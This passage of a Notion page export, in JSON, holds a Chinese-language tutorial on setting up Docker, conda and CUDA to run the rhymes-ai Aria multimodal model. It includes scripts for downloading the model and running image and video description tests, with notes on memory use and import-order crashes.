-49e5-a655-951a4373ac77"}},"153f5010-17f2-800d-aad6-ce255a7e835c":{"value":{"id":"153f5010-17f2-800d-aad6-ce255a7e835c","type":"bookmark","properties":{"link":[["https://huggingface.co/rhymes-ai/Aria"]],"title":[["rhymes-ai/Aria · Hugging Face"]],"description":[["We’re on a journey to advance and democratize artificial intelligence through open source and open science."]]},"format":{"bookmark_icon":"https://huggingface.co/favicon.ico","bookmark_cover":"https://cdn-thumbnails.huggingface.co/social-thumbnails/models/rhymes-ai/Aria.png"},"created_time":1733381017546,"last_edited_time":1733381017550,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-8009-b55e-d45aa00f4d87":{"value":{"id":"153f5010-17f2-8009-b55e-d45aa00f4d87","type":"external_object_instance","format":{"domain":"github.com","original_url":"https://github.com/rhymes-ai/Aria"},"created_time":1733380996084,"last_edited_time":1733380996086,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-802d-a305-dd41a7148b9b":{"value":{"id":"153f5010-17f2-802d-a305-dd41a7148b9b","type":"sub_header","properties":{"title":[["线上demo尝试"]]},"created_time":1733380956084,"last_edited_time":1733380967604,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-8090-b008-ffff1428c651":{"value":{"id":"153f5010-17f2-8090-b008-ffff1428c651","type":"image","properties":{"size":[["188.6KB"]],"title":[["image.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9c112b2f-3a14-4c0c-8b9c-bab8f74e40ae/image.png"]]},"format":{"block_width":707.9921875,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9c112b2f-3a14-4c0c-8b9c-bab8f74e40ae/image.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6531302876480541,"block_preserve_scale":true},"created_time":1733380952953,"last_edited_time":1733380959683,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true,"file_ids":["9c112b2f-3a14-4c0c-8b9c-bab8f74e40ae"]}},"153f5010-17f2-815d-a821-e9ae71a0df2a":{"value":{"id":"153f5010-17f2-815d-a821-e9ae71a0df2a","type":"quote","properties":{"title":[["线上demo响应很快,并且描述得很详细,并且可以描述什么时间发生了啥,介绍里面说的是:Cutting a long video by scene transitions with timestamps.(通过带有时间戳的场景过渡来剪切长视频。),这不是自动剪分镜吗,我有一个好想法先写完这篇再说"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207761,"last_edited_time":1733381336687,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"153f5010-17f2-814b-8ea8-d36f186d5882":{"value":{"id":"153f5010-17f2-814b-8ea8-d36f186d5882","type":"header","properties":{"title":[["环境"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207761,"last_edited_time":1733382417194,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true,"copied_from":"bc90f652-c084-4885-8571-e07c2b2a5073"}},"153f5010-17f2-80c0-9d0e-fd4d3a2a4ba1":{"value":{"id":"153f5010-17f2-80c0-9d0e-fd4d3a2a4ba1","type":"sub_header","properties":{"title":[["docker环境"]]},"created_time":1733382419008,"last_edited_time":1733382422084,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-8009-b6af-c84461a2f7ce":{"value":{"id":"153f5010-17f2-8009-b6af-c84461a2f7ce","type":"quote","properties":{"title":[["宿主机cuda是12.4以上的可以忽略,宿主机可以随便升降级cuda的也可以忽略要不然会出现以下异常:ImportError: /usr/local/lib/python3.10/dist-packages/torch/lib/../../nvidia/cusparse/lib/libcusparse.so.12: undefined symbol: __nvJitLinkComplete_12_4, version libnvJitLink.so.12"]]},"created_time":1733381716460,"last_edited_time":1733381831360,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-80e3-9b38-c2d56e1d55d4":{"value":{"id":"153f5010-17f2-80e3-9b38-c2d56e1d55d4","type":"code","properties":{"title":[["#安装docker前置\ndistribution=$(. /etc/os-release;echo $ID$VERSION_ID) \\\n && curl -fsSL https://nvidia.github.io/nvidia-docker/gpgkey | sudo apt-key add - \\\n && curl -fsSL https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | sudo tee /etc/apt/sources.list.d/nvidia-docker.list\n\n#安装docker和nvidia-docker\nsudo apt-get update\nsudo apt-get docker.io\nsudo apt-get install -y nvidia-docker2\nsudo systemctl start docker\ndocker --version\n\n#配置加速\n#data-root为容器目录,我这里指定只是根目录磁盘满了,你磁盘多的可以不指定\nvim /etc/docker/daemon.json\n{\n \"log-driver\": \"json-file\",\n \"log-opts\": {\n \"max-file\": \"3\",\n \"max-size\": \"10m\"\n },\n \"registry-mirrors\" :[\n \"https://hub.rat.dev\",\n \"https://docker.1panel.live\",\n \"https://docker.rainbond.cc\",\n \"https://mirror.ccs.tencentyun.com\",\n \"http://registry.docker-cn.com\",\n \"http://docker.mirrors.ustc.edu.cn\",\n \"http://hub-mirror.c.163.com\"\n ],\n \"data-root\": \"/home/docker\"\n}\n\n#重启\nsudo systemctl daemon-reload\nsudo systemctl restart docker\n\n\n#运行cuda:12.4.1容器,指定使用哪块gpu,指定挂载路径\n#cuda:12.4.1-devel-ubuntu20.04。这个镜像包含了 nvcc 和其他开发工具。\ndocker run -d \\\n--name aria \\\n--gpus '\"device=3\"' \\\n-v /home:/home \\\nnvidia/cuda:12.4.1-devel-ubuntu20.04 \\\ntail -f /dev/null\n\n#进入docker\ndocker exec -it aria bash\n\n#安装常见工具\napt install vim\napt install wget\napt install git"]],"language":[["Bash"]]},"created_time":1733381833666,"last_edited_time":1733383181749,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-80fa-9cbb-c1f58248a51c":{"value":{"id":"153f5010-17f2-80fa-9cbb-c1f58248a51c","type":"code","properties":{"title":[["#迁移docker容器目录\n#这只是我的磁盘满了,需要搞到其他盘,我自己记录一下,你不用运行\n\nsudo rsync -aP /var/lib/docker/ /home/docker\ndocker info | grep \"Docker Root Dir\""]],"language":[["Bash"]]},"created_time":1733382996932,"last_edited_time":1733383168923,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-80e0-ab4d-eb4309efdc32":{"value":{"id":"153f5010-17f2-80e0-ab4d-eb4309efdc32","type":"sub_header","properties":{"title":[["Conda环境"]]},"created_time":1733382275620,"last_edited_time":1733382428699,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-80b8-9bbf-ec352eb7fbae":{"value":{"id":"153f5010-17f2-80b8-9bbf-ec352eb7fbae","type":"code","properties":{"title":[["#下载conda,有些云厂商不支持tsinghua,所以任意选一个就行\nwget https://mirrors.tuna.tsinghua.edu.cn/anaconda/miniconda/Miniconda3-latest-Linux-x86_64.sh\nwget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh\n\n#安装conda,配置环境变量,如果选择了自动配置环境可以不修改bashrc\nsh Miniconda3-latest-Linux-x86_64.sh\n\n#添加conda\nvim ~/.bashrc \n\n# >>> conda initialize >>>\n# !! Contents within this block are managed by 'conda init' !!\n__conda_setup=\"$('/xxx/miniconda3/bin/conda' 'shell.bash' 'hook' 2> /dev/null)\"\nif [ $? -eq 0 ]; then\n eval \"$__conda_setup\"\nelse\n if [ -f \"/xxx/miniconda3/etc/profile.d/conda.sh\" ]; then\n . \"/xxx/miniconda3/etc/profile.d/conda.sh\"\n else\n export PATH=\"/xxx/miniconda3/bin:$PATH\"\n fi\nfi\nunset __conda_setup\n# <<< conda initialize <<<\n\n#激活\nsource ~/.bashrc \n\n"]],"language":[["Bash"]]},"created_time":1733382287108,"last_edited_time":1733382319310,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-80a2-bdd4-e37eafe17e08":{"value":{"id":"153f5010-17f2-80a2-bdd4-e37eafe17e08","type":"sub_header","properties":{"title":[["代码环境"]]},"created_time":1733381759843,"last_edited_time":1733382431343,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-80de-be92-d485480271fe":{"value":{"id":"153f5010-17f2-80de-be92-d485480271fe","type":"code","properties":{"title":[["#建立conda环境,必须使用3.10\n#ERROR: Package 'aria' requires a different Python: 3.9.20 not in '>=3.10’\nconda create --name aria python=3.10\n\n#克隆代码\ngit clone https://github.com/rhymes-ai/Aria.git\n\n#进入Aria工程目录\nconda activate aria\npip install -e . -i https://mirrors.aliyun.com/pypi/simple\npip install grouped_gemm -i https://mirrors.aliyun.com/pypi/simple\npip install flash-attn --no-build-isolation -i https://mirrors.aliyun.com/pypi/simple"]],"language":[["Bash"]]},"created_time":1733382317266,"last_edited_time":1733383849776,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-8028-815b-fdd9f3f1ec3d":{"value":{"id":"153f5010-17f2-8028-815b-fdd9f3f1ec3d","type":"header","properties":{"title":[["下载模型"]]},"created_time":1733382312706,"last_edited_time":1733383949571,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-80e5-8c9c-c416dccbf805":{"value":{"id":"153f5010-17f2-80e5-8c9c-c416dccbf805","type":"quote","properties":{"title":[["本来测试代码可以自动下载,我喜欢放在指定目录,所以搞了个脚本下载"]]},"created_time":1733382453965,"last_edited_time":1733383961623,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-8013-8ed8-cd9d2c952910":{"value":{"id":"153f5010-17f2-8013-8ed8-cd9d2c952910","type":"code","properties":{"title":[["import argparse\nimport time\nimport logging\nfrom huggingface_hub import snapshot_download\n\n# Configure logging\nlogging.basicConfig(level=logging.INFO)\n\n\ndef download_model(model_name, local_name, max_retries=15, retry_interval=2):\n for attempt in range(1, max_retries + 1):\n try:\n snapshot_download(\n repo_id=model_name,\n ignore_patterns=[\"*.bin\"],\n local_dir=local_name,\n force_download=False\n )\n logging.info(\"Download successful\")\n return\n except Exception as e:\n logging.error(f\"Attempt {attempt} failed: {e}\")\n if attempt < max_retries:\n time.sleep(retry_interval)\n else:\n logging.critical(\"Download failed, exceeded maximum retry attempts\")\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Download a model from Hugging Face Hub\")\n parser.add_argument(\"--model_name\", required=True, help=\"Name of the model to download\")\n parser.add_argument(\"--local_name\", required=True, help=\"Local directory to save the model\")\n args = parser.parse_args()\n\n download_model(args.model_name, args.local_name)\n\n\nif __name__ == \"__main__\":\n main()\n"]],"language":[["Bash"]]},"created_time":1733382692320,"last_edited_time":1733382833042,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-8064-a3a1-eb3338622d72":{"value":{"id":"153f5010-17f2-8064-a3a1-eb3338622d72","type":"code","properties":{"title":[["#设置国内下载加速\nexport HF_ENDPOINT=https://hf-mirror.com \n\n#命令行直接运行,如果缺少依赖手动装下就行\npython download_model.py \\\n--model_name rhymes-ai/Aria \\\n--local_name /home/models/huggingface/rhymes-ai/Aria\n\n#建议使用nohup\nexport HF_ENDPOINT=https://hf-mirror.com && nohup xxxxx >> dowload.log 2>&1 & "]],"language":[["Bash"]]},"created_time":1733382806226,"last_edited_time":1733383244378,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-8025-882f-cf5e462b2344":{"value":{"id":"153f5010-17f2-8025-882f-cf5e462b2344","type":"header","properties":{"title":[["图片测试"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733383228129,"last_edited_time":1733383358273,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-80cd-9995-e1067dca7db8":{"value":{"id":"153f5010-17f2-80cd-9995-e1067dca7db8","type":"sub_header","properties":{"title":[["代码"]]},"created_time":1733383358895,"last_edited_time":1733383361435,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-8044-84eb-fc6abf57f34b":{"value":{"id":"153f5010-17f2-8044-84eb-fc6abf57f34b","type":"code","properties":{"title":[["import requests\nimport torch\nfrom PIL import Image\nfrom transformers import AutoModelForCausalLM, AutoProcessor\n\n#这里为下载好模型本地地址\nmodel_id_or_path = \"/home/models/huggingface/rhymes-ai/Aria\"\n\nmodel = AutoModelForCausalLM.from_pretrained(model_id_or_path, device_map=\"auto\", torch_dtype=torch.bfloat16, trust_remote_code=True)\n\nprocessor = AutoProcessor.from_pretrained(model_id_or_path, trust_remote_code=True)\n\n#你自己搞一个你图片\nimage_path = \"https://m207605830-1.jpg\"\n\nimage = Image.open(requests.get(image_path, stream=True).raw)\n\nmessages = [\n {\n \"role\": \"user\",\n \"content\": [\n {\"text\": None, \"type\": \"image\"},\n {\"text\": \"what is the image?\", \"type\": \"text\"},\n ],\n }\n]\n\ntext = processor.apply_chat_template(messages, add_generation_prompt=True)\ninputs = processor(text=text, images=image, return_tensors=\"pt\")\ninputs[\"pixel_values\"] = inputs[\"pixel_values\"].to(model.dtype)\ninputs = {k: v.to(model.device) for k, v in inputs.items()}\n\nwith torch.inference_mode(), torch.cuda.amp.autocast(dtype=torch.bfloat16):\n output = model.generate(\n **inputs,\n max_new_tokens=500,\n stop_strings=[\"<|im_end|>\"],\n tokenizer=processor.tokenizer,\n do_sample=True,\n temperature=0.9,\n )\n output_ids = output[0][inputs[\"input_ids\"].shape[1]:]\n result = processor.decode(output_ids, skip_special_tokens=True)\n\nprint(result)"]],"language":[["Python"]]},"created_time":1733383254764,"last_edited_time":1733383345707,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-80de-89de-f5660f01c922":{"value":{"id":"153f5010-17f2-80de-89de-f5660f01c922","type":"sub_header","properties":{"title":[["结果"]]},"created_time":1733383247544,"last_edited_time":1733383364534,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-8099-8e22-c9b5bf21c875":{"value":{"id":"153f5010-17f2-8099-8e22-c9b5bf21c875","type":"image","properties":{"size":[["75.4KB"]],"title":[["image.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/8d313197-0edd-4eab-ac08-8da85d61ad1b/image.png"]]},"format":{"block_width":707.9921875,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/8d313197-0edd-4eab-ac08-8da85d61ad1b/image.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.43547110055423593,"block_preserve_scale":true},"created_time":1733383919314,"last_edited_time":1733383925126,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true,"file_ids":["8d313197-0edd-4eab-ac08-8da85d61ad1b"]}},"153f5010-17f2-80bc-8b12-fcaa44bc7106":{"value":{"id":"153f5010-17f2-80bc-8b12-fcaa44bc7106","type":"header","properties":{"title":[["视频测试"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733383925370,"last_edited_time":1733383932753,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-806e-a08e-c1b69b0af9fc":{"value":{"id":"153f5010-17f2-806e-a08e-c1b69b0af9fc","type":"sub_header","properties":{"title":[["代码"]]},"created_time":1733383933300,"last_edited_time":1733383936907,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-8044-9051-e85caf514ac5":{"value":{"id":"153f5010-17f2-8044-9051-e85caf514ac5","type":"code","properties":{"title":[["import os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\nimport time\nimport requests\nimport torch\nfrom PIL import Image\nfrom transformers import AutoModelForCausalLM, AutoProcessor\n\nmodel_id_or_path = \"/home/models/huggingface/rhymes-ai/Aria\"\nmodel = AutoModelForCausalLM.from_pretrained(model_id_or_path, device_map=\"auto\", torch_dtype=torch.bfloat16,\n trust_remote_code=True)\nprocessor = AutoProcessor.from_pretrained(model_id_or_path, trust_remote_code=True)\n\n#这个一定放在模型加载下面,要不然要报错Segmentation fault (core dumped)\nfrom decord import VideoReader\nfrom tqdm import tqdm\nfrom typing import List\n\n\ndef load_video(video_file, num_frames=128, cache_dir=\"/home/lzy/cached_video_frames\", verbosity=\"DEBUG\"):\n # Create cache directory if it doesn't exist\n os.makedirs(cache_dir, exist_ok=True)\n video_basename = os.path.basename(video_file)\n cache_subdir = os.path.join(cache_dir, f\"{video_basename}_{num_frames}\")\n os.makedirs(cache_subdir, exist_ok=True)\n cached_frames = []\n missing_frames = []\n frame_indices = []\n for i in range(num_frames):\n frame_path = os.path.join(cache_subdir, f\"frame_{i}.jpg\")\n if os.path.exists(frame_path):\n cached_frames.append(frame_path)\n else:\n missing_frames.append(i)\n frame_indices.append(i)\n vr = VideoReader(video_file)\n duration = len(vr)\n fps = vr.get_avg_fps()\n frame_timestamps = [int(duration / num_frames * (i + 0.5)) / fps for i in range(num_frames)]\n if verbosity == \"DEBUG\":\n print(\n \"Already cached {}/{} frames for video {}, enjoy speed!\".format(len(cached_frames), num_frames, video_file))\n # If all frames are cached, load them directly\n if not missing_frames:\n return [Image.open(frame_path).convert(\"RGB\") for frame_path in cached_frames], frame_timestamps\n actual_frame_indices = [int(duration / num_frames * (i + 0.5)) for i in missing_frames]\n missing_frames_data = vr.get_batch(actual_frame_indices).asnumpy()\n for idx, frame_index in enumerate(tqdm(missing_frames, desc=\"Caching rest frames\")):\n img = Image.fromarray(missing_frames_data[idx]).convert(\"RGB\")\n frame_path = os.path.join(cache_subdir, f\"frame_{frame_index}.jpg\")\n img.save(frame_path)\n cached_frames.append(frame_path)\n cached_frames.sort(key=lambda x: int(os.path.basename(x).split('_')[1].split('.')[0]))\n return [Image.open(frame_path).convert(\"RGB\") for frame_path in cached_frames], frame_timestamps\n\ndef get_placeholders_for_videos(frames: List, timestamps=[]):\n contents = []\n if not timestamps:\n for i, _ in enumerate(frames):\n contents.append({\"text\": None, \"type\": \"image\"})\n contents.append({\"text\": \"\\n\", \"type\": \"text\"})\n else:\n for i, (_, ts) in enumerate(zip(frames, timestamps)):\n contents.extend(\n [\n {\"text\": f\"[{int(ts) // 60:02d}:{int(ts) % 60:02d}]\", \"type\": \"text\"},\n {\"text\": None, \"type\": \"image\"},\n {\"text\": \"\\n\", \"type\": \"text\"}\n ]\n )\n return contents\n\nvideo_extensions = ('.mp4', '.avi', '.mov')\nfor root, _, files in os.walk(\"/home/\"):\n for file in files:\n if file.endswith(video_extensions):\n video_path = os.path.join(root, file)\n frames, frame_timestamps = load_video(video_path, num_frames=20)\n ### If you want to insert timestamps for Aria Inputs\n contents = get_placeholders_for_videos(frames, frame_timestamps)\n ### If you DO NOT want to insert frame timestamps for Aria Inputs\n # contents = get_placeholders_for_videos(frames)\n start = time.time()\n messages = [\n {\n \"role\": \"user\",\n \"content\": [\n *contents,\n {\n \"text\": \"描述视频\",\n \"type\": \"text\"},\n ],\n }\n ]\n\n text = processor.apply_chat_template(messages, add_generation_prompt=True)\n inputs = processor(text=text, images=frames, return_tensors=\"pt\", max_image_size=980)\n inputs[\"pixel_values\"] = inputs[\"pixel_values\"].to(model.dtype)\n inputs = {k: v.to(model.device) for k, v in inputs.items()}\n\n with torch.inference_mode(), torch.cuda.amp.autocast(dtype=torch.bfloat16):\n output = model.generate(\n **inputs,\n max_new_tokens=2048,\n stop_strings=[\"<|im_end|>\"],\n tokenizer=processor.tokenizer,\n do_sample=False,\n )\n output_ids = output[0][inputs[\"input_ids\"].shape[1]:]\n result = processor.decode(output_ids, skip_special_tokens=True)\n\n print(result)\n print(time.time() - start)\n"]],"language":[["Python"]]},"created_time":1733384029092,"last_edited_time":1733384300271,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-8099-89a1-c03411933f08":{"value":{"id":"153f5010-17f2-8099-89a1-c03411933f08","type":"bulleted_list","properties":{"title":[["我是分析/home/下面的所有视频,你要分析单个改改就行"]]},"created_time":1733384125342,"last_edited_time":1733384168140,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-80ee-9362-e43729e68390":{"value":{"id":"153f5010-17f2-80ee-9362-e43729e68390","type":"bulleted_list","properties":{"title":[["max_image_size可改成490"]]},"created_time":1733384164673,"last_edited_time":1733384215023,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-80ab-a469-cf08a8dc8ceb":{"value":{"id":"153f5010-17f2-80ab-a469-cf08a8dc8ceb","type":"bulleted_list","properties":{"title":[["num_frames你根据自己视频来选,我的5秒视频,分析20fps,相当于一秒4fps"]]},"created_time":1733384221398,"last_edited_time":1733384256034,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-8006-bebe-d7a8a89a21db":{"value":{"id":"153f5010-17f2-8006-bebe-d7a8a89a21db","type":"sub_header","properties":{"title":[["结果"]]},"created_time":1733383937073,"last_edited_time":1733383939927,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-8005-b710-dfd579b4cd56":{"value":{"id":"153f5010-17f2-8005-b710-dfd579b4cd56","type":"image","properties":{"size":[["171.0KB"]],"title":[["image.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/5cf3e7cf-1999-42c5-b5f0-53756ecffa82/image.png"]]},"format":{"block_width":707.9921875,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/5cf3e7cf-1999-42c5-b5f0-53756ecffa82/image.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5715421303656598,"block_preserve_scale":true},"created_time":1733384436067,"last_edited_time":1733384441241,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true,"file_ids":["5cf3e7cf-1999-42c5-b5f0-53756ecffa82"]}},"153f5010-17f2-8107-a545-f2353f0c258e":{"value":{"id":"153f5010-17f2-8107-a545-f2353f0c258e","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207761,"last_edited_time":1733383929691,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"153f5010-17f2-8179-bb5e-eb5b425a5aa4":{"value":{"id":"153f5010-17f2-8179-bb5e-eb5b425a5aa4","type":"bulleted_list","properties":{"title":[["aria显存占用还可以,60g左右,好像默认使用的是attn_implementation="],["\"flash_attention_2\"",[["b"]]]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207761,"last_edited_time":1733384538766,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"153f5010-17f2-80fc-9f34-eddb4e258347":{"value":{"id":"153f5010-17f2-80fc-9f34-eddb4e258347","type":"bulleted_list","properties":{"title":[["对比qwen和cpm来说,可以做到:通过带有时间戳的场景过渡来剪切长视频"]]},"created_time":1733384540172,"last_edited_time":1733384581649,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-804e-8c1d-fae79ab1e865":{"value":{"id":"153f5010-17f2-804e-8c1d-fae79ab1e865","type":"bulleted_list","properties":{"title":[["core dumped调整下import就行"]]},"created_time":1733384582710,"last_edited_time":1733384603234,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true}},"153f5010-17f2-8124-8aa7-f549beb0e0d5":{"value":{"id":"153f5010-17f2-8124-8aa7-f549beb0e0d5","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207761,"last_edited_time":1733380207761,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"153f5010-17f2-8107-a1fb-f004f4a21a2e":{"value":{"id":"153f5010-17f2-8107-a1fb-f004f4a21a2e","type":"column_list","content":["153f5010-17f2-8145-a6a6-f9b118814e2f","153f5010-17f2-81a4-9e8c-fd69c83fd724","153f5010-17f2-815a-8f41-c62e5e861c52"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207761,"last_edited_time":1733380207761,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"153f5010-17f2-8172-a6b3-c4996362c96e":{"value":{"id":"153f5010-17f2-8172-a6b3-c4996362c96e","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207761,"last_edited_time":1733380207761,"parent_id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"153f5010-17f2-8145-a6a6-f9b118814e2f":{"value":{"id":"153f5010-17f2-8145-a6a6-f9b118814e2f","type":"column","content":["153f5010-17f2-8180-a9ac-edd2c0196954"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207761,"last_edited_time":1733380207761,"parent_id":"153f5010-17f2-8107-a1fb-f004f4a21a2e","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"153f5010-17f2-81a4-9e8c-fd69c83fd724":{"value":{"id":"153f5010-17f2-81a4-9e8c-fd69c83fd724","type":"column","content":["153f5010-17f2-8179-aa20-f5ac2af25e96","153f5010-17f2-81c1-85bf-e0775f43be89"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207761,"last_edited_time":1733380207761,"parent_id":"153f5010-17f2-8107-a1fb-f004f4a21a2e","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"153f5010-17f2-815a-8f41-c62e5e861c52":{"value":{"id":"153f5010-17f2-815a-8f41-c62e5e861c52","type":"column","content":["153f5010-17f2-81c4-ba73-d464ec0a661c"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733380207761,"last_edited_time":1733380207761,"parent_id":"153f5010-17f2-8107-a1fb-f004f4a21a2e","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"153f5010-17f2-8180-a9ac-edd2c0196954":{"value":{"id":"153f5010-17f2-8180-a9ac-edd2c0196954","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"b